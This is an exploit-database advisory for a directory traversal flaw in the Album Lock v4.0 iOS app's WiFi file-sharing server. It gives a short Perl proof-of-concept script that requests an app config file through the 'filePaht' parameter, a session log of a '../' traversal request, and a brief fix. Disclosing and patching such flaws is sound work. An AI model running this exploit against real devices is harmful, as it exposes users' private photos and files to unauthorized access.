Album Lock 4.0 iOS - Directory Traversal Vulnerability

ID 1337DAY-ID-27066
Type zdt
Reporter bot
Modified 2017-02-21T00:00:00


Exploit for iOS platform in category web applications

                                            Document Title:
Album Lock v4.0 iOS - Directory Traversal Vulnerability

Product & Service Introduction:
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most 
convenient private Photo&Video App!  You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways. 
From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.
(Copy of the Homepage: )
Severity Level:
Technical Details & Description:
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.
The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.
The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers 
are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able 
to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document` 
path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server 
web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.
The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2. 
Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the 
vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] getObject
Vulnerable Parameter(s):
[+] filePaht
Affected Module(s):
[+] Web-Server File System
Proof of Concept (PoC):
The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
Standard Request:
PoC: Payload
Malicious Request: Exploitation
PoC: Exploit
use strict;
use LWP::UserAgent;
my $b = LWP::UserAgent->new();
my $host = "";
print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application 
Mime Type[application/x-unknown-content-type]
   Request Header:
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
   Response Header:
Solution - Fix & Patch:
The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.
Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.

# [2018-02-19]  #